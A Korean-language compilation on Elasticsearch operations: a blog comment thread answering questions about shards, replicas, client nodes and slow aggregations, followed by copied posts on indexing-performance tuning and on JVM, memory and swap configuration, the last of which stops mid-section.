        2. 만약, shard 의 개수를 늘려야하는 상황이 필요하다면 제가 아는 방법으로는 해당 인덱스를 다시 생성하는 방법밖에 없을 것 같습니다. 혹시 더 좋은 방법을 알게 되시면 저도 알려주시면 감사하겠습니다. ^^

  6. 계속 질문에 질문이 꼬리를 무는것 같아 죄송하네요 ㅠ.ㅠ

    또 replica에 대해서 이해가 잘안되는 것이 있는데요.

    위 포스팅 중 replica의 존재 이유인 “검색 성능”과 “장애복구”에서 두 번재 장애 복구에 대해서는 이해가 됬습니다.

    (n개의 노드 이상 발생 시 최소 n+1개의 노드가 존재하며 최소 n-1개의 replica가 존재해야 정상적인 서비스가 유지된다는 점)

    그런데 검색 성능에 관한 언급이 없으셔서요.

    1. replica가 늘어날 수록 검색 시 검색 요청을 보내고 받아서 취합해야 할 shard가 늘어나게 되니 당연히 검색 성능이 떨어지게 되지 않나요?(elasticsearch는 특별한 라우터 기능을 사용하지 않는 한 모든 shard에 검색 요청을 하니깐)

    2. 또한 replica개수 만큼 노드에 복사본이 만들어지게 되니 disk사용량도 급격히 올라갈 것으로 보이는데 이것과 관련해서
    replica의 갯수를 제한을 두지는 않나요?(일반적으로 서비스 시 n+1개의 노드가 있다면 n-1개의 replica를 설정하진 않을것으로 보임)

    많이 배우고 있습니다. 감사합니다.

    • 넵~ 답이 늦어서 죄송합니다. ^^

      1. 먼저, replica 가 “검색 요청”은 인덱스를 구성하는 모든 샤드에 전달되는 것이 아니라, 인덱스를 구성하는 모든 “샤드셋”에 전달된다고 보시면 됩니다. 예를 들어 A 라는 인덱스를 구성하는 샤드가 주샤드 5개 (1, 2, 3, 4, 5) replica 1 (1′, 2′, 3′, 4′, 5′) 으로 굿성되어 있다면, 검색요청이 전달되는 샤드는 (1, 2′, 3, 4′, 5) 또는 (1′, 2′, 3, 4, 5′) 이렇게 주샤드와 복제샤드의 구분없이 전체 셋을 구성하는 샤드에 전달되기 때문에 replica 의 개수가 증가한다고 해서 취합해야하는 데이터의 양이 증가하지는 않습니다. ^^

      2. 말씀하신대로 Replica의 수가 많아지면 디스크의 사용량이 늘어나게 됩니다. Replica 의 개수는 전체 노드 수와 샤드의 수, 그리고 어느정도의 fail over 를 기준으로 할 것인지 운영노하우에 따라서 결정을 하는데요… 이전 글에서 말씀드렸듯이 replica 의 개수는 실행시점에(on the fly) 변경이 가능하기 때문에 디스크 사용량과 장애율에 따라서 조절해 나가시는 것이 맞을 것 같습니다. ^^ 따로 정답이 있는 것은 아니지만 기본적으로 replica 의 수가 노드의 수와 같거나 많으면 불필요하게 unassigned 되는 샤드들이 발생하므로 노드의 수보다 작게 설정합니다. ^^

  7. 안녕하세요.
    ElasticSearch 관련하여 테스트를 하고 있는데 궁금한게 있어 댓글 남깁니다.

    노드가 1개만 있는 상태에서 기본 세팅인 아래 수치로 설정하고 서버를 구성하였습니다.

    index.number_of_shards: 5
    index.number_of_replicas: 1

    여기서 인덱스를 새로 생성하게 되고 _cluster/state를 체크해보면 Unassigned로 된 node가 되어있고 클러스터 상태가 YELLOW로 되게 됩니다.

    같은 노드내에 동일한 replica가 존재하면 안되기 때문인거 같은데요.

    만약 정상적인 shard에 문제가 생기면 Unassigned에 있는 shard가 활성화가 되는건가요?
    아니면 replica를 사용하기 위해서는 반드시 2개 이상의 node가 필요한건가요?

    질문이 두서가 없네요. 양해 부탁 드립니다.

    • 안녕하세요. 질문 주셔서 감사합니다. ^^

      먼저, node 가 하나인 경우 동일한 primary shard 와 replica shard 는 같은 노드에 존재할 수 없기 때문에 unassigned shard 가 존재하게 됩니다.

      이러한 상황에서 primary shard 에 문제가 생기면 replica shard 가 그자리를 대체하는 것이 아니라, 해당 shard 가 가지고 있던 데이터를 조회할 수 없게 됩니다.

      데이터의 유실방지를 위해서 replica 수를 1로 하는 경우 반드시 두 개 이상의 노드가 필요합니다. ^^

      감사합니다. ^^

  8. 안녕하세요
    엘라스틱서치에 대해 많은 궁금증을 해결해주셔서 감사합니다.
    감사하다는 인사와 함께 여쭤볼게 있어 이렇게 글을 남기게 되었습니다.

    그저 그런 초보 프로그래머가 엘라스틱서치를 개발하게 되어 여러가지 어려움이 많네요ㅠㅠ
    바로 질문 드릴게요

    첫째로 클라이언트 노드에 필요성을 느끼지 못해(여기의 글을 보기 전) 3개의 장비를
    1. master true data true 2. master true data true 3. master false data true 로 설정하고 매번 마스터 노드에만 요청을 하고 있었습니다.
    이 상태에서 클라이언트 노드를 설정하고 싶다면 위에서 답변주신 것처럼 장비를
    1. master false data false 2. master true data true 3. master true data true 로 설정하고 클라이언트 노드에 요청을 해야겠지요.
    그런데 제가 하고 싶은거는 현재 1번 노드를 클라이언트로 노드로 바꿀때 기존의 데이터들을(현재 Unassigned) 어떻게하면 나머지 두 데이터 true노드들로 분배할 수 있을까요?

    둘째로 sort와 aggregation의 문제로 질문 드리겠습니다.
    제가 이해한 바로는 sort와 aggregation 은 field data를 생성하기 때문에 많은 량은 메모리를 사용한다고 알고 있습니다. 그리고 무엇보다 느리고요.
    1. 제가 원하는 바 두가지가 있습니다.
    하나는 제가 요청하는 쿼리의 검색 결과만을 가져와 그 결과만을 소팅하거나 aggregation 작업을 했으면 하는데 자료를 찾아봐도 우선 field data를 생성하고 쿼리를 수행하는 것 같았습니다.
    2. sort와 aggregation을 요청하게 되면 지나치게 느려집니다. 한 번의 요청을 900초가 걸려 수행해낸다던지 물론 이 질문을 하기 위해 저의 설정을 보여드려야 하겠지요
    요청하시면 설정, 장비 스펙, 쿼리까지 다 보여드리겠습니다..ㅠㅠ

    너무 바보같고 부족한 질문에도 답변을 주신다면 감사하겠습니다..

    • 안녕하세요. 질문 주셔서 감사합니다. ^^

      1. 우선, 클라이언트 노드는 다음과 같은 이유로 필요합니다. ^^ 실제 클라이언트 노드 없이 aggregation 등을 수행하시다보면, 데이터를 가지는 노드가 자신의 shard 들에 대한 aggregation과 전체 결과를 합치는 역할을 동시에 수행하면서 성능은 물론, heap memory의 out of memory 발생이 빈번히 발생하시게 될 겁니다. 이러한 이유로 결국 로드 밸런싱 역할만을 수행하는 클라이언트 노드가 필요하게 됩니다. ^^ 특정 노드를 클라이언트 노드로 설정하시려면 node.client: true를 설정해 주시면 됩니다. 노드의 설정이 변경된 뒤 해당 노드를 재실행 해주시면 자동적으로 샤드들이 재분배(relocating)됩니다. 만약, 그럼에도 불구하고, unassigned shard 가 존재한다면, (replica의 수 + 1) < = node.data: true인 노드의 수 인지 한번 확인해봐 주시면 좋을 것 같습니다. ^^

      2. 우선 aggregation의 경우, 기본적으로 query 결과에 대해서만 수행하게 됩니다. 그렇기 때문에, 수행시간이 너무 오래 걸린다면, aggregation 자체를 한번 봐야할 것 같습니다. ^^
      Sort의 경우에는 query 결과에 대해서만 정렬을 수행하기 위한 방법은 잘 모르겠습니다만, 성능 등의 이슈가 있다면 필드의 데이터 유형이 문자열인 경우, 해당 필드의 데이터가 analyze 되지 않는 not_analyzed 필드를 만들어서 해당 필드에 대하여 정렬을 수행하시는 것이 바람직합니다.

      답변이 부족할 수도 있는데, 혹시 더 필요하신 내용이 있으시면 말씀해주시면 감사하겠습니다. ^^

  9. 분에 넘치는 빠른 답변을 받아 행복합니다 ㅎㅎ
    답변 주셔서 감사합니다.

    (replica의 수 + 1) < = node.data: true 라고 하셨는데 실제로 저에게는 replica가 필요가 없어 replica는 0입니다. 프라이머리 샤드만을 사용하고 있습니다.
    그런데도 unassigned shard 로 되어 재분배가 일어나지 않고 있습니다..ㅠㅠ
    일단 제가 설정한 부분을 보여드려야 할 것 같아서 보여 드리겠습니다.
    부족한 영어실력에 혼자 이리지리 돌아다니면서 검색하다보니 엉망진창입니다.
    /config/elasticsearch.yml
    개별
    1. node.master: false node.data: false 2. node.master: true node.data: true 3. node.master: true node.data: true
    공통
    index.number_of_shards: 35
    index.number_of_replicas: 0
    index.cache.field.type: soft

    indices.breaker.fielddata.limit: 85%
    indices.breaker.total.limit: 85%
    indices.fielddata.cache.size: 75%
    indices.breaker.request.limit: 55%
    indices.memory.index_buffer_size: 10%

    cluster.routing.allocation.disk.threshold_enabled : false
    cluster.routing.allocation.balance.shard: 0.1
    cluster.routing.allocation.balance.index: 0.9
    #discovery.zen.minimum_master_nodes: 1
    공통
    /bin/elasticsearch
    export ES_HEAP_SIZE=16g

    이렇게 되어있습니다..너무 엉망이라 창피한데 다음에는 안 창피하려고 여쭤봅니다

    • 엉망이라뇨~ ^^; 저도 어차피 같이 배워나가는 사람일 뿐입니다. ^^
      말씀하신 내용만 보면, shard relocation이 정상적으로 이루어져야 하는데, 현재 제가 아는 지식으로는 원인을 잘 모르겠네요. ^^;

      저도 종종 알 수 없는 원인으로 unassigned shard 가 relocating 되지 않는 경우에는 아래와 같은 방식으로 강제 reroute를 하고는 하는데요, 매번 이렇게 하는 게 맞는 건지는 잘 모르겠네요. ^^


      curl -XGET http://localhost:9200/_cat/shards | grep UNASSIGNED | awk '{print $1,$2}'

      curl -XPOST 'localhost:9200/_cluster/reroute' -d '{
      "commands" : [ {
      "allocate" : {
      "index" : "your_index_name", < -- 인덱스 명 "shard" : 4, <-- shard 번호 "node" : "your_node_name", <-- 노드 명 "allow_primary" : true } } ] }'

      혹시, 이 내용이 원하시는 답변이 아니시라면, (그리고 혹시 페이스북을 하신다면) 아래의 페이스북 그룹에 가입하시고 다시 질문을 한번 올려 보시겠어요? ^^ 좋은 분들이 많아서 혹시 원하시는 답을 얻으실 수도 있을 것 같습니다. ^^
      https://www.facebook.com/groups/elasticsearch.kr/

  10. 답변을 빠르게 주셨는데 제가 출장 후 휴가가 바로 있어서 글을 확인하지 못했네요.
    매번 빠른 답변에 감사드립니다.

    샤드의 재분배에 관한 부분은 말씀대로 진했했습니다.
    다른 설정의 변경없이 클라이언트 노드의 생성만으로도 성능이 엄청나게 향상되었습니다. 감사합니다.

    지난번에 제 쿼리에 대해 답변을 주셨는데 그 때도 출장준비 중이었거든요 ㅠㅠ

    1. 우선 sort에 관한 쿼리는
    {
    “query”: {
    “filtered”: {
    “filter”: {
    “bool”: {
    “must”: [
    {
    “range”: {
    “date”: {
    “from”: “2015/06/01 00:00:00″,
    “to”: “2015/06/30 23:59:59″
    }
    }
    }
    ],
    “must_not”: [],
    “should”: []
    }
    }
    }
    },
    “sort”: [
    {
    “date”: {
    “reverse”: true
    }
    }
    ],
    “aggs”: {}
    }
    이런 방법으로 보내고 있으며 전체 인덱스에 쿼리를 날리지 않고 월별로 나누어진 인덱스에 쿼리를 보내고 있습니다.
    인덱스는 평균적으로 docs: 4,502,021,488 size: 568Gi 이정도가 됩니다.

    2. aggregation에 관한 쿼리는
    {
    “query”: {
    “filtered”: {
    “filter”: {
    “bool”: {
    “must”: [
    {
    “range”: {
    “date”: {
    “from”: “2015/06/01 00:00:00″,
    “to”: “2015/06/30 23:55:00″
    }
    }
    },
    {
    “range”: {
    “test_alpha”: {
    “from”: “aaa”,
    “to”: “zzz”
    }
    }
    }
    ],
    “must_not”: [],
    “should”: []
    }
    }
    }
    },
    “sort”: [],
    “size”: 0,
    “aggs”: {
    “test_aggs”: {
    “terms”: {
    “field”: “test_alpha”,
    “size”: 100,
    “order”: {
    “inA.sum”: “desc”
    }
    },
    “aggs”: {
    “inA”: {
    “stats”: {
    “field”: “in_a”
    }
    },
    “outA”: {
    “stats”: {
    “field”: “out_a”
    }
    },
    “inG”: {
    “stats”: {
    “field”: “in_g”
    }
    },
    “outG”: {
    “stats”: {
    “field”: “out_g”
    }
    }
    }
    }
    }
    }
    현재는 sort는 client 노드를 설정하므로 성능이 향상이 되었는데 aggregation 의 성능은 많이 뒤쳐지고 있습니다.
    1100초가 넘게 걸리기도 하고 그러네요 ㅠㅠ

    3. 저는 현재 월별로 나누어진 인덱스에 쿼리를 보내 응답을 기다리고 있습니다. sort와 aggregation 모두 말이죠.
    요청을 주소로만 보내는 것보다 주소뒤에 인덱스를 설정해주는 것이 훨씬 성능이 좋은것 같아서 이렇게 하고 있습니다.
    제가 드는 의문은 제가 took시간에 인덱스를 지정하는 것은 크게 효과가 나타나지만 _type을 지정하여 쿼리를 보내는 부분에서는 크게 효과가 나타나지 않았습니다.
    혹시 _type에는 인덱스와는 다른 개념으로 받아드려야 하는것인가요?

    매번 명쾌한 답변을 주셔서 감사합니다.

    여기 페이스북은 전에 가입하려 했는데 가입승인이 안나서 질문을 못올렸었어요 지금 다시 신청해볼게요 ㅎㅎ

    • 앗. 덧글을 주신지 오래 되었는데 제가 미처 확인을 못했네요… ㅜㅜ

      실제 데이터를 넣어보고 테스트를 해보면 좋을 것 같은데, 제가 최근에 여유가 없어서 좀 어려울 것 같습니다.
      저번에 말씀드린 것 처럼 facebook 그룹에 aggregation 을 올려보시고 다른 분들께 개선 사항이 없는지 여쭤보시는 것도 빠른 방법일 것 같습니다. ^^

      제대로 된 답변 드리지 못해서 죄송합니다. ^^;

  11. 아닙니다. 답변주신거 정말 감사합니다^^
    항상 좋은 답변으로 잘 인도해주셔서 감사합니다!!^^

  12. 안녕하세요~
    검색을 통해 들어오게 됐는데 덕분에 많이 배웠습니다^^

    저는 얼마전에야 비로소 ELK 셋팅을 해봤는데요.
    WAS 10 대의 로그를 logstash 를 이용해서 ES에 넣고 있습니다.
    시험삼아 해 본 것이라 현재는 ES 노드를 하나만 운용하고 있는데요,
    향후 확장성을 고려해서 클라이언트 – Data 노드(2) 구성으로 클러스터링을 하려고 합니다.
    이와 관련해서 궁굼한 점이 있는데요,
    현재 운영중인 ES서버를 클라이언트로 셋팅 하고 데이터 노드 2대를 구성하면 기존에 만들어졌던 데이터들은 새로 구성한 데이터 노드 2대에 자동으로 이전이 되나요?

    • 네. 그렇습니다. ^^
      좀 더 안전하게 처리하기 위해서는 기존의 노드를 그대로 둔 채, 데이터 노드를 추가하고 샤드가 relocate 완료되면 그 때 기존 노드를 client 로 설정하면 더욱 좋을 것 같습니다. ^^
      감사합니다.

      • 이렇게 빨리 답변을 주시다니, 감사합니다 ^^

        그런데 상황이 좀 바뀌어서 하나 더 질문을 드려봅니다.

        원래 계획은 기존에 쓰던 서버를 클라이언트로 바꾸고 데이터 노드를 추가하는 것 이었는데 사정상 다른 공간에 있는 서버로 변경이 필요하게 되었습니다. 그래서 불가피 하게 데이터를 통째로 다른 서버로 옮기는 작업을 해야 하는데 이 때도 ES의 클러스터링을 이용할 수 있을지 궁굼합니다.
        즉, 현재 구조인 ZONE1/ES-OLD 에 ZONE2/ES-DATA-NODE1, ES-DATA-NODE2, ES-NEW-CLIENT(node.data:false, node.master:false) 를 추가하고 relocate가 완료되면 ES-OLD를 빼면 될까요?

  13. 안녕하세요.
    엘라스틱 고수분인듯보이내요^^

    다름이 아니오라 제가현재 6대 was에 같은서버에 엘라스틱을 구상해놨는데 20여일 잘쓰다가 갑자기 out of memory를 만나게 됐습니다.. 이유를 잘 몰라서 그러는데 indexing 도중에는 문제가 없고 검색시 현재 문제가 발생 하더군요 검색은 aggregation, post filter, sorting, search 이4가지 조합으로 검색을합니다.
    현재 엘라스틱 메모리는 1g 디폴트로 구성되어있습니다. 이유가 먼지 알려주시면 고맙습니다 ㅠㅠ
    두서없이 글쓴거 같어 죄송하네요
    혹시 yml설정이 문제이면 다시 올려 드리겠습니다

    • 안녕하세요. ^^ 제가 고수는 아니지만 최대한 아는대로 답변을 적어 드리겠습니다.
      검색에서 메모리가 부족한 경우 대부분 aggregation으로 인한 경우가 많습니다. 최초 요청을 받은 노드는 다른 샤드의 결과들을 취합하여야 하기 때문에 별도의 작업을 추가로 해야하는데요, 만약, 클라이언트 노드를 별로로 두지 않으셨다면 결과를 취합하는 노드의 경우 본인이 가지고 있는 샤드의 aggregation 과 함께 전체 결과를 취합해야 하기 때문에 메모리가 부족할 가능성이 높습니다.
      데이터를 가지고 있지 않고 마스터로도 사용되지 않는 클라이언트 노드를 하나 두시고 해당 노드로 요청을 해보시면 좋을 것 같습니다. ^^

      • 답변 고맙습니다. “Hosang Jeon” 님 말씀대로 그렇다면 먼저 yml에서 노드 한대는 master: false, data : false로 하고 aggregation의 경우 이 노드로 요청을 하라는 말이 맞지요? ^_________^

        후 그 이유 라면 좋겠네요 ㅠㅠ 두다리 뻗고 자고 싶네요..

        • 아 그리고 한개더 질문 드릴께요 … ㅡㅡ;
          index.cache.field.type: soft

          indices.breaker.fielddata.limit: 85%
          indices.breaker.total.limit: 85%
          indices.fielddata.cache.size: 75%
          indices.breaker.request.limit: 55%
          indices.memory.index_buffer_size: 10%
          이 셋팅이 아마도 query cache 관련 인듯 보이는데 설정은 윗분꺼 참조 했습니다.
          이런식으로 셋팅 하면

          settings을 설정 할때
          curl -XPUT localhost:9200/my_index -d’
          {
          “settings”: {
          “index.cache.query.enable”: true
          }
          }
          위 curl도 필요 한지요…
          그럼 말씀 기다리겠습니다. ㅠㅠ


Elasticsearch 인덱싱 최적화


https://brunch.co.kr/@alden/37


오늘 다룰 주제는 ElasticSearch (이하 ES)에서 인덱싱 성능을 최적화하기입니다. 사실 ES의 기본 설정은 잘되어 있기 때문에 RPM으로 설치하고 그냥 사용하기만 해도 별다른 어려움 없이 사용할 수 있습니다. 하지만 몇 가지 설정들을 바꿔줌으로써 더 많은 양의 문서를 인덱싱 하게 할 수 있습니다.

먼저 이번 포스트를 이끌어 갈 세 가지 키워드를 소개하겠습니다.


1. _all 필드

2. static mapping

3. refresh_interval

4. primary shard


우리는 오늘 이 네 가지 키워드를 통해서 ES가 더 많은 문서들을 인덱싱 할 수 있도록 튜닝해 나갈 것입니다. 그럼 하나씩 살펴보겠습니다.


기본 설정에서의 성능


우선 본격적인 튜닝에 앞서 아무것도 변경하지 않은 기본 설정에서는 어느 정도의 성능을 발휘하는지 살펴보겠습니다. 테스트는 총 10개의 text 형태의 필드를 가지고 있는 5000개의 문서를 _bulk API를 통해서 색인한 후 그 결과로 반환되는 소요시간, took 값을 비교합니다.

테스트에 사용한 스크립트는 조금 더 다듬어서 github에 올릴 예정입니다.

먼저 기본 설정에서의 결과입니다.

python ./elasticsearch_perf_test.py --url es --index_name normal_test --documents 5000

{"acknowledged":true}
elapsed time : 1057 ms

head 플러그인을 통해서 잘 생성되었는지 확인해 보겠습니다.

head 플러그인을 통해 인덱스의 생성 확인

기본 설정에서는 5000개의 문서를 색인하는데 약 1초 정도의 시간이 소요된 것을 볼 수 있습니다. 그럼 이제 튜닝을 시작해 보겠습니다.


_all 필드


첫 번째 키워드는 _all 필드입니다. _all 필드는 사용자의 문서에 있는 필드가 아니고 특별한 목적에 의해 ES가 생성하는 필드입니다. 

참고 자료 : https://www.elastic.co/guide/en/elasticsearch/reference/current/mapping-all-field.html 

이 필드는 해당 문서의 모든 필드를 하나의 스트링처럼 길게 이어서 새로운 text 형태의 필드를 만들고 이 필드의 내용을 인덱싱 합니다. 사용자의 의도와는 다르게 필드 하나가 추가된다고 볼 수 있습니다. 게다가 문서에 존재하는 필드 수에 따라 아주아주 긴 text 필드가 추가될 수 있습니다. text 필드는 analyzer를 거치기 때문에 길면 길수록 인덱싱 성능에 악영향을 끼칩니다. 성능에 악영향을 끼칠 수 있는 필드를 왜 기본적으로 생성할까요? 사용자는 _all 필드를 통해서 필드명 없는 검색을 할 수 있게 됩니다. 예를 들어 아래와 같은 형태의 문서가 있다고 가정해 보겠습니다.

예제 문서

원래대로 라면 검색을 하기 위해서는 first_name : John 과 같은 형태로 쿼리를 짜야 하지만 _all 필드가 켜져 있다면 그냥 John 이라고 쿼리를 입력하기만 해도 검색이 됩니다. 그래서 _all 필드를 disable 하게 되면 인덱싱 성능이 향상되지만, 필드명 없는 검색이 불가능해집니다. 따라서 사용하는 워크로드에서 필드명 없는 검색이 있는지 없는지를 확인하고 enable/disable을 결정해야 합니다.

그렇다면 _all 필드를 disable 하게 되면 얼마나 빨라지는지 확인해 볼까요? 이 작업을 위해 먼저 아래와 같이 템플릿을 생성해서 등록해 보겠습니다.

curl -XPUT 'http://es:9200/_template/all_field_test' -d '{
  "template":"all_field_test",
  "mappings": {
    "type1": {
      "_all": {
        "enabled": false
      }
    }
  }
}'

all_field_test라는 이름의 템플릿을 만들었으며, 이 템플릿은 all_field_test라는 이름을 가진 인덱스가 생성될 때 type1 이라는 타입은 _all 필드를 생성하지 않게 합니다. 그리고 테스트를 다시 돌려 보겠습니다.

python ./elasticsearch_perf_test.py --url es --index_name all_field_test --documents 5000

{"acknowledged":true}
elapsed time : 770 ms

기존에 1초가량 소요되었던 시간이 700 ms 단위로 내려왔습니다. 무려 30% 정도의 성능 향상이 이루어졌습니다. 


static mapping


두 번째 키워드는 static mapping 입니다. ES는 schemaless 구조이기 때문에 미리 인덱싱할 문서의 필드를 정의하지 않아도 됩니다. ES는 첫 번째로 인입된 문서의 내용을 분석해서 가장 적합한 형태로 각각의 필드를 매핑합니다. 그렇기 때문에 편하지만 최적화되지는 않았습니다. 특히 text 필드와 keyword 필드가 그런데요, 둘 다 문자열을 나타내는 필드이지만, 큰 차이를 가지고 있습니다.

이번는 아래와 같은 템플릿을 만들어 보겠습니다.

curl -XPUT 'http://infra-es-perftest01.dakao.io:9200/_template/static_mapping_test' -d '{
  "template":"static_mapping_test",
  "mappings": {
    "type1": {
      "_all": {
        "enabled": false
      },
      "properties": {
        "field-0": {
          "type": "keyword"
        },
.... (중략) ....
        "field-9": {
          "type": "keyword"
        }
      }
    }
  }
}'

아까 _all 필드를 disable 했던 템플릿의 내용에 static mapping 내용을 추가합니다. static_mapping_test라는 이름으로 인덱스가 만들어지면 field-0부터 field-9까지의 필드가 정의된 채로 생성됩니다.

이때의 결과는 어떨까요?

python ./elasticsearch_perf_test.py --url infra-es-perftest01.dakao.io --index_name static_mapping_test --documents 5000

{"acknowledged":true}
elapsed time : 356 ms

역시 이번에도 많이 줄어들었습니다. 700ms 대에서 300ms 대로 절반 이상 줄어들었습니다. 

text 필드가 keyword 필드로 많이 바뀔수록 그 차이는 더 크게 날 겁니다.

_all 필드와 static mapping 만 적용했는데도 벌써 1초에서 300ms 수준으로 상당한 양의 성능 향상 일어났습니다.


refresh_interval


세 번째 키워드는 refresh_interval입니다. ES는 새로운 문서가 인입되었을 때 인덱싱을 하고 그 결과를 세그먼트라는 단위로 저장합니다. 이렇게 생성되는 작은 크기의 세그먼트들은 백그라운드로 머지되어 점점 큰 세그먼트가 되어 갑니다. 이때 ES가 세그먼트를 생성하는 것을 refresh라고 부르며 이 세그먼트를 생성하는 주기를 refresh_interval을 통해서 조절할 수 있습니다. refresh_interval의 기본값은 1초입니다. 그래서 새롭게 인덱싱 된 문서는 1초 이내에 검색이 되며 이를 통해 near realtime search engine이라는 콘셉트를 구현할 수 있게 됩니다. 당연히 세그먼트를 생성하는 작업은 성능에 영향을 줄 수밖에 없습니다. 그래서 이 값을 기본 1초에서 더 크게 늘리면 더 많은 양의 데이터를 인덱싱 할 수 있게 됩니다. 

그래서 이번 테스트는 조금 다르게 단위 시간 동안 얼마나 많은 양의 문서를 인덱싱 할 수 있느냐를 테스트해 보겠습니다. 아래와 같이 한 인덱스는 기본 값으로, 다른 인덱스는 refresh_interval을 60초로 설정해서 120초 동안 데이터를 넣어 보겠습니다.

python ./elasticsearch_perf_test.py --url infra-es-perftest01.dakao.io --documents 1000 --threads 10 --index_name refresh_interval_test --period 120

사실 결과는 조금 놀랍습니다.refresh_interval 테스트 결과

둘 다 120초 동안 데이터를 입력했는데 기본 1초로 설정된 인덱스는 120초 동안 355,000개의 문서를 refresh_interval이 60초로 설정된 인덱스는 같은 시간 동안 356,000개의 문서를 인덱싱 했습니다. 이 정도면 차이가 없다고 봐도 됩니다. 하지만 다른 사이트에서의 테스트 결과는 refresh_interval을 조절해서 상당한 양의 차이를 얻었다고 합니다. 

참고 자료 : https://sematext.com/blog/elasticsearch-refresh-interval-vs-indexing-performance  

한 번 읽어보시면 좋을 것 같습니다.

아마도 인입되는 데이터의 형태나 기간 등이 영향을 끼친 것이라고 추측합니다.


primary shard


마지막으로 다룰 키워드는 primary shard의 개수입니다. 모든 인덱싱은 primary shard에서 일어납니다. 그래서 primary shard의 개수가 몇 개 이냐에 따라서 인덱싱 성능이 달라질 수 있습니다. 이번에는 primary shard의 개수를 변경해 가면서 테스트해 보겠습니다.primary shard 갯수에 따른 took의 변화

primary shard의 개수가 늘어날수록 took이 줄어드는 것을 볼 수 있습니다. 점점 큰 폭으로 줄어들다가 어느 순간 반대로 늘어나는 것도 확인할 수 있습니다. 

이는, primary shard가 늘어날수록 인덱싱 성능이 좋아지지만, 무조건 많은 양의 primary shard가 좋은 성능을 이끌어 내는 것은 아니다 라는 것을 보여주고 있습니다. 

실제 문서의 크기, 필드 개수, 필드 타입 등의 환경과 서버의 성능에 따라 적합한 양의 primary shard의 개수가 다를 수는 있겠지만, 어쨌든 적합한 양의 primary shard의 개수가 존재한다는 것을 보여주고 있습니다. 그래서 테스트를 통해서 사용하고자 하는 환경에서 적합한 양의 primary shard의 개수를 찾아야 합니다.


마치며


ES는 튜닝하지 않은 기본값으로도 훌륭한 성능을 보여주지만 조금만 관심을 가지고 살펴보면 동일한 환경에서도 더 많은 양의 문서를 색인하게 할 수 있습니다. 이번 글에서 다루었던 주요 내용은 아래와 같습니다.


1. _all 필드는 불필요하면 끄는 것이 인덱싱 성능을 높이는 효과가 있다.

2. 더 많은 양의 문서를 인덱싱 하고 싶다면 가급적 static mapping을 통해서 인덱싱 작업을 최적화해야 할 필요가 있다.

3. refresh_interval은 새로운 세그먼트의 생성 주기를 변경하기 때문에 늘려주면 인덱싱 성능을 높이는데 효과가 있다. 다만, 환경마다 크게 효과가 없을 수도 있다.

4. 적합한 양의 primary shard를 선정하는 것이 더 많은 문서를 인덱싱 하는데에 도움을 준다.


혹시라도 내용이 잘못되었거나 부연 설명이 필요한 부분이 있으면 말씀해 주세요~


ps. 제일 마지막엔 셀프 책 광고를.. ㅋㅋ

http://www.yes24.com/24/goods/44376723?scode=032&OzSrank=3

Elasticsearch Configuration

https://uncle-bae.blogspot.kr/2015/12/elasticsearch-configuration.html


Environment Variables 

- EL은 자바의 환경변수 JAVA_OPTS에 따른다.
- 가장 중요한 환경 설정값은 -Xmx (최대 메모리),  -Xms (최소메모리) 의 설정이다.
- 대부분 JAVA_OPTS는 그대로 두고, ES_JAVA_OPTS를 설정하여 JVM의 환경변수를 변경한다.
- ES_HEAP_SIZE 환경 변수는 힙 메모리를 설정하는 값이다.
    - 이 설정값을 설정하면 ES_MIN_MEM(기본 256m), ES_MAX_MEM(기본 1g)을 같은 값으로 설정한다.
# 추천 :
  - 값은 min과 max를 동일하게 하는것
  - mlockall enable로 설정하기.

System Configuration 

File Descriptors

- 머신에서 설정된 open file의 수를 다음으로 증가 시킨다. 32k --> 64k (추천)
- 얼마나 많은 수의 파일이 오픈 될 수 있는지 설정을 한다.

    -Des.max-open-files=true

- 이렇게 설정하면 엘라스틱 서치가 올라올때 최대 오픈할 수 있는 파일 수를 프린트한다.
- 다른 방법으로는 엘라서틱 질의를 통해서 max_file_descriptors를 확인할 수 있다.

curl localhost:9200/_nodes/process?pretty

Virtual memory 

Elasticsearch는 인덱스 저장을 위해서 hybrid mmaps / niofs 디렉토리를 기본으로 사용한다.
  * niofs : 파일시스템에 샤드 인덱스를 NIO를 이용하여 저장한다. 멀티 쓰레드가 동시에 동일한 파일을 읽을 수 있도록 지원한다. Windows에서는 사용하지 않도록 권고한다. Java 구현체에 버그가 있다.
  * mmaps : 파일스스템에 샤드 인덱스를 memory에 파일을 매핑하는 방식으로 저장한다. 메모리 매핑은 파일 크기와 동일한 가상메모리 공간을 이용한다.

기본 OS의 제약은 mmap에 그대로 적용되며, 너무 아래로 떨어지게 되면 out of memory 예외가 발생한다. Linux에서는 다음 명령어를 통해서 제한 값을 올릴 수 있다.

sysctl -w vm.max_map_count=262144

이 값을 영구적으로 설정하기 위해서는 vm.max.map_count 설정을 /etc/sysctl.conf 에 지정하자.
root계정으로만 가능하다.
  * 만약 .deb, .rpm으로 Elasticsearch를 설치한경우라면 이 값은 자동으로 설정된다.

Memory Settings 

대부분의 운영 체제는 시스템 캐시를 위해 가능한 많은 메모리를 사용하고자 한다. 그리고 어플리케이션에서 사용하지 않는 메모리는 swap out 하고자 시도한다. 엘라스틱 서치의 프로세스도 swap이 될 수 있다.
Swapping은 노드의 안정성을 유지하기 위해서 성능을 심각하게 떨어뜨리게 된다. 이러한 swap를 피하는 것이 좋다.

Disable swap 

가장 단순한 옵션으로 swap를 완젼히 정지 시킨다. 일반적으로 EL은 box에서 서비스를 수행하고, ES_HEAP_SIZE에 의해서 컨트롤 된다. swap를 enable로 설정할 필요가 없다.
리눅스 시스템에서 다음 명령어를 통해서 swap를 임시로 끌 수 있다.

sudo swapoff -a 

영구적으로 끄기 위해서는 /etc/fstab를 수정하고, swap로 된 모든 라인을 커멘트 처리 하면 된다.
Windows에서는 다음 경로에서 disable할 수 있다.

System Properties -> Advanced -> Performance -> Advanced -> Virtual memory

Configure swappiness 

두번째 옵션은 sysctl 값인 vm.swappiness를 0으로 설정하는 방법이다.
이것은 커널이 swap 하고자 하는 경향을 줄여주고, 일반적인 환경에서는 swap를 수행하지 않도록 해준다. 긴급 상황에서만 swap를 수행한다.

# 참고 : 커널버젼 3.5-rc1 이상 버젼에서는 swappiness의 값을 0으로 설정하면 OOM killer 가 나타나면 swapping을 수행하는 대신에 해당 프로세스를 kill한다. swappiness 를 1로 설정하면 swapping을 수행한다.

mlockall

이 옵션은 mlockall을 이용하며  Linux / Unix시스템의 기능을 이용한다.  혹은 윈도우에서는 VirtualLock 기능을 이용한다.
이것은 RAM의 공간에 lock을 거는 방법으로 Elasticsearch 메모리가 swapped out되는 것을 막아준다. 이것은 config/elasticsearch.yml 파일에 다음과 같이 정의하는 것으로 설정이 가능하다.

